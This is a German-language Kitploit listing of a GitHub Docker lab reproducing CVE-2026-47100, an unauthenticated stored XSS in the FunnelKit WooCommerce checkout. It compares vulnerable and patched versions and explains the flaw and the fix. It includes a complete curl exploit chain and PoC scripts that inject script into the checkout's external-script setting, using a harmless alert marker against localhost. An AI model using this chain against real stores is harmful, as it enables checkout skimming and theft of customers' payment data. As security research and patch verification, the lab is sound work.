Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-47100-Analysis-Lab — Lokales Docker-Labor zur Reproduktion von CVE-2026-47100, einer unauthentifizierten Stored-XSS-Schwachstelle in FunnelKit für WooCommerce. Enthält PoC-Skripte zum Vergleich von verwundbaren und gepatchten Versionen. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-47100-analysis-lab
SchwachstellenanalyseWebanwendungs-ExploitationCTFPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-47100-analysis-lab

CVE-2026-47100-Analysis-Lab

Lokales Docker-Labor zur Reproduktion von CVE-2026-47100, einer unauthentifizierten Stored-XSS-Schwachstelle in FunnelKit für WooCommerce. Enthält PoC-Skripte zum Vergleich von verwundbaren und gepatchten Versionen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 2 MonatenNoch nicht geprüft

CVE-2026-47100 — FunnelKit / Funnel Builder für WooCommerce Checkout Stored-XSS-Lab

Lokales Docker-Lab zur Reproduktion von CVE-2026-47100 auf sichere, möglichst risikoarme Weise. Dieses Lab vergleicht eine verwundbare FunnelKit-Version mit einer gepatchten Version und verifiziert das Verhalten mithilfe eines harmlosen JavaScript-Markers/Alerts.


1. Übersicht

CVE-2026-47100 ist eine Schwachstelle mit fehlender Autorisierung in Funnel Builder / FunnelKit für WooCommerce Checkout vor Version 3.15.0.3.

Der verwundbare Checkout-AJAX-Ablauf erlaubt es nicht authentifizierten Besuchern, eine interne Plugin-Methode aufzurufen und Daten in FunnelKits integrierte globale Einstellung für externe Skripte zu schreiben. Da diese Einstellung später auf FunnelKit-Checkout-Seiten ausgegeben wird, kann das Problem zu nicht authentifiziertem Stored XSS auf Checkout-Seiten führen.

Dieses Repository reproduziert das Problem lokal mit zwei Docker-Diensten:

DienstVersionURLErwartetes Ergebnis
vuln3.15.0.2http://127.0.0.1:8081verwundbares Verhalten bestätigt
patched3.15.0.3http://127.0.0.1:8082Schreiben blockiert / Marker nicht ausgegeben

2. Screenshot der Vulnx-Erkennung

vulnx

Erste CVE-Auswahl aus der Vulnx-Ausgabe. Das Lab und der PoC wurden manuell durch Vergleich von verwundbarem und gepatchtem Verhalten erstellt.


3. Auswirkungen

Ein nicht authentifizierter Angreifer kann den öffentlichen Checkout-AJAX-Ablauf missbrauchen, um JavaScript dauerhaft in FunnelKits globale Einstellung für externe Skripte zu schreiben.

In einem echten WooCommerce-Shop könnte dadurch bösartiges JavaScript im Browser von Nutzern ausgeführt werden, die die Checkout-Seite besuchen. Öffentliche Berichte haben diese Schwachstellenklasse mit Checkout-Skimming-Kampagnen in Verbindung gebracht.

Dieses Lab verwendet absichtlich nur einen harmlosen Nachweis-Marker:

root@kitploit:~
<script>window.CVE_2026_47100_LAB_PROOF="ok";alert("CVE-2026-47100 LAB Stored XSS")</script>

4. Grundursache

Die verwundbare Version akzeptiert nutzerkontrollierte Checkout-Daten vom öffentlichen WooCommerce-AJAX-Endpunkt:

root@kitploit:~
/?wc-ajax=update_order_review

Innerhalb des FunnelKit-Checkout-Ablaufs kann die Anfrage Folgendes enthalten:

root@kitploit:~
wfacp_input_hidden_data={"action":"update_global_settings_fields", ...}

Die verwundbare Logik prüft, ob der übergebene Aktionsname als Klassenmethode existiert. Wenn die Methode existiert, kann sie aus dem öffentlichen Checkout-Ablauf heraus aufgerufen werden.

Vereinfachtes verwundbares Verhalten:

root@kitploit:~
if ( method_exists( __CLASS__, $action ) ) {
    self::$output_resp = self::$action( $input_data );
}

Die wichtige, vom Angreifer kontrollierte Aktion ist:

root@kitploit:~
update_global_settings_fields

Diese Methode aktualisiert die WordPress-Option:

root@kitploit:~
_wfacp_global_settings

und insbesondere den integrierten FunnelKit-Schlüssel:

root@kitploit:~
wfacp_global_external_script

Der gespeicherte Wert wird später von der Checkout-Vorlage gelesen und auf der Checkout-Seite ausgegeben. Dadurch entsteht die Stored-XSS-Bedingung.

Exploit-Kette:

root@kitploit:~
Unauthenticated checkout visitor
→ public WooCommerce update_order_review AJAX
→ attacker-controlled wfacp_input_hidden_data[action]
→ update_global_settings_fields()
→ update_option('_wfacp_global_settings')
→ wfacp_global_external_script rendered on checkout page
→ Stored XSS

5. Zusammenfassung des Patches

Version 3.15.0.3 härtert den verwundbaren Pfad mit zwei wichtigen Änderungen.

5.1 Zulassungsliste für öffentliche Aktionen

Die gepatchte Version schränkt ein, welche Checkout-Aktionen aus dem öffentlichen Checkout-Ablauf aufgerufen werden können.

Vereinfachtes gepatchtes Verhalten:

root@kitploit:~
$allowed_actions = array(
    'update_cart_item_quantity',
    'update_cart_multiple_page',
    'remove_cart_item',
    'undo_cart_item',
    'prep_fees',
);

if (
    is_string( $action ) &&
    in_array( $action, $allowed_actions, true ) &&
    method_exists( __CLASS__, $action )
) {
    self::$output_resp = self::$action( $input_data );
}

Dadurch wird verhindert, dass beliebige interne Methoden wie update_global_settings_fields durch nicht authentifizierte Checkout-Anfragen ausgelöst werden.

5.2 Berechtigungsprüfung vor der Aktualisierung der Einstellungen

Die gepatchte Version fügt außerdem eine Autorisierungsprüfung hinzu, bevor globale Einstellungen aktualisiert werden können:

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return $resp;
}

Das bedeutet, dass die globale Einstellung für externe Skripte nur von Benutzern mit WooCommerce-Verwaltungsrechten beschreibbar sein sollte.


6. Lab-Architektur

root@kitploit:~
host
├── http://127.0.0.1:8081  → WordPress + WooCommerce + FunnelKit 3.15.0.2
└── http://127.0.0.1:8082  → WordPress + WooCommerce + FunnelKit 3.15.0.3

Der Seed-Prozess erstellt:

root@kitploit:~
Lab Product
- WooCommerce product used to create a valid cart/session
- expected product ID in clean lab: 10

Lab Funnel Checkout
- FunnelKit checkout page used to trigger the checkout AJAX flow
- expected checkout post ID in clean lab: 11

Das Lab verwendet eine deterministische Checkout-URL:

root@kitploit:~
/?post_type=wfacp_checkout&p=11

Diese lädt den FunnelKit-Checkout-Custom-Post im lokalen Docker-Lab explizit.


7. Das Lab ausführen

Das Lab starten:

root@kitploit:~
docker compose up -d --build

Dienste prüfen:

root@kitploit:~
docker compose ps

Erwartete Dienste:

root@kitploit:~
vuln      http://127.0.0.1:8081
patched   http://127.0.0.1:8082

Python-Abhängigkeiten installieren:

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install requests

8. PoC-Skripte

8.1 Lab-PoC

poc/poc_lab.py ist der deterministische Lab-PoC.

Er geht von den lokalen Docker-Seed-Werten aus:

root@kitploit:~
product_id = 10
checkout_post_id = 11

Gegen den verwundbaren Dienst ausführen:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8081

Erwartetes Ergebnis:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: True
[*] AJAX msg: Changes saved
[*] Marker rendered in HTML: True

=== Result ===
likely_vulnerable:  True

[+] Vulnerable behavior confirmed.

Gegen den gepatchten Dienst ausführen:

root@kitploit:~
python3 poc/poc_lab.py http://127.0.0.1:8082

Erwartetes Ergebnis:

root@kitploit:~
[*] AJAX action: update_global_settings_fields
[*] AJAX status: None
[*] AJAX msg: None
[*] Marker rendered in HTML: False

=== Result ===
likely_vulnerable:  False

[-] Vulnerable behavior was not confirmed.
[-] On patched targets this is expected.

8.2 Generisches autorisiertes Selbsttest-Tool

poc/poc_check.py ist ein portableres autorisiertes Selbsttest-Tool.

Nur passiver Check:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11"

Aktiver autorisierter Check:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized

Nur-Marker-Modus ohne Alert:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --marker-only

Bereinigungsversuch:

root@kitploit:~
python3 poc/poc_check.py \
  --checkout-url "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  --product-id 10 \
  --active \
  --i-am-authorized \
  --cleanup

9. Manueller Test

9.1 Verwundbarer Dienst

Eine neue WooCommerce-Sitzung erstellen und das Lab-Produkt in den Warenkorb legen:

root@kitploit:~
rm -f /tmp/cve47100-vuln.cookies

curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?add-to-cart=10" >/dev/null

Die FunnelKit-Checkout-Seite abrufen und das WooCommerce-Checkout-Nonce extrahieren:

root@kitploit:~
CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-vuln.cookies -b /tmp/cve47100-vuln.cookies \
  "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"

Die manipulierte Checkout-AJAX-Anfrage senden:

root@kitploit:~
curl -i "http://127.0.0.1:8081/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-vuln.cookies \
  -b /tmp/cve47100-vuln.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Prüfen, ob die Option geschrieben wurde:

root@kitploit:~
docker compose exec vuln wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Erwartetes Ergebnis:

root@kitploit:~
{
  "wfacp_global_external_script": "<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")<\/script>",
  "wfacp_checkout_global_css": ""
}

Prüfen, ob der Marker ausgegeben wird:

root@kitploit:~
curl -s "http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Im Browser öffnen, um den harmlosen Alert zu sehen:

root@kitploit:~
http://127.0.0.1:8081/?post_type=wfacp_checkout&p=11

9.2 Gepatchter Dienst

Denselben Ablauf gegen Port 8082 wiederholen:

root@kitploit:~
rm -f /tmp/cve47100-patched.cookies

curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?add-to-cart=10" >/dev/null

CHECKOUT_HTML=$(curl -s -c /tmp/cve47100-patched.cookies -b /tmp/cve47100-patched.cookies \
  "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11")

NONCE=$(printf '%s' "$CHECKOUT_HTML" \
  | grep -oE '"update_order_review_nonce":"[^"]+"' \
  | head -n1 \
  | cut -d: -f2 \
  | tr -d '"')

echo "NONCE=$NONCE"
root@kitploit:~
curl -i "http://127.0.0.1:8082/?wc-ajax=update_order_review" \
  -c /tmp/cve47100-patched.cookies \
  -b /tmp/cve47100-patched.cookies \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  --data-urlencode "security=${NONCE}" \
  --data-urlencode "payment_method=cod" \
  --data-urlencode "country=TH" \
  --data-urlencode "state=" \
  --data-urlencode "postcode=10110" \
  --data-urlencode "city=Bangkok" \
  --data-urlencode "address=Lab Street" \
  --data-urlencode "address_2=" \
  --data-urlencode "s_country=TH" \
  --data-urlencode "s_state=" \
  --data-urlencode "s_postcode=10110" \
  --data-urlencode "s_city=Bangkok" \
  --data-urlencode "s_address=Lab Street" \
  --data-urlencode "s_address_2=" \
  --data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>window.CVE_2026_47100_LAB_PROOF=\"ok\";alert(\"CVE-2026-47100 LAB Stored XSS\")</script>"}}'

Prüfen, ob die Option unverändert bleibt:

root@kitploit:~
docker compose exec patched wp --allow-root --path=/var/www/html option get _wfacp_global_settings --format=json

Erwartetes Ergebnis:

root@kitploit:~
[]

Prüfen, ob der Marker nicht ausgegeben wird:

root@kitploit:~
curl -s "http://127.0.0.1:8082/?post_type=wfacp_checkout&p=11" \
  | grep -oE '.{0,100}CVE_2026_47100_LAB_PROOF.{0,160}'

Erwartetes Ergebnis: keine Ausgabe.


10. Zusammenfassung der Nachweise

Der verwundbare Dienst bestätigt das Problem, wenn alle folgenden Bedingungen zutreffen:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: True
AJAX msg: Changes saved
Marker rendered in HTML: True

Der gepatchte Dienst bestätigt den Fix, wenn:

root@kitploit:~
AJAX action: update_global_settings_fields
AJAX status: None
AJAX msg: None
Marker rendered in HTML: False
_wfacp_global_settings remains []

11. Sicherheitshinweise

Dieses Repository ist ausschließlich für lokale, autorisierte Sicherheitsforschung bestimmt.

Zulässiger Umfang:

root@kitploit:~
localhost
127.0.0.1
Docker Compose lab network
systems you own or have explicit written permission to test

Nicht zulässig:

root@kitploit:~
payment skimming
cookie theft
token theft
credential harvesting
external exfiltration
unauthorized testing of third-party stores

Der PoC verwendet ausschließlich einen harmlosen Alert und Marker.


12. Referenzen

  • CVE-Datensatz: https://www.cve.org/CVERecord?id=CVE-2026-47100
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47100
  • VulnCheck Advisory: https://www.vulncheck.com/advisories/funnel-builder-for-woocommerce-checkout-missing-authorization-via-ajax
  • Sansec Research: https://sansec.io/research/funnelkit-woocommerce-vulnerability-exploited
  • WordPress-Trac-Changeset: https://plugins.trac.wordpress.org/changeset/3530797/funnel-builder/tags/3.15.0.3/modules/checkouts/includes/class-wfacp-ajax-controller.php
Tool herunterladen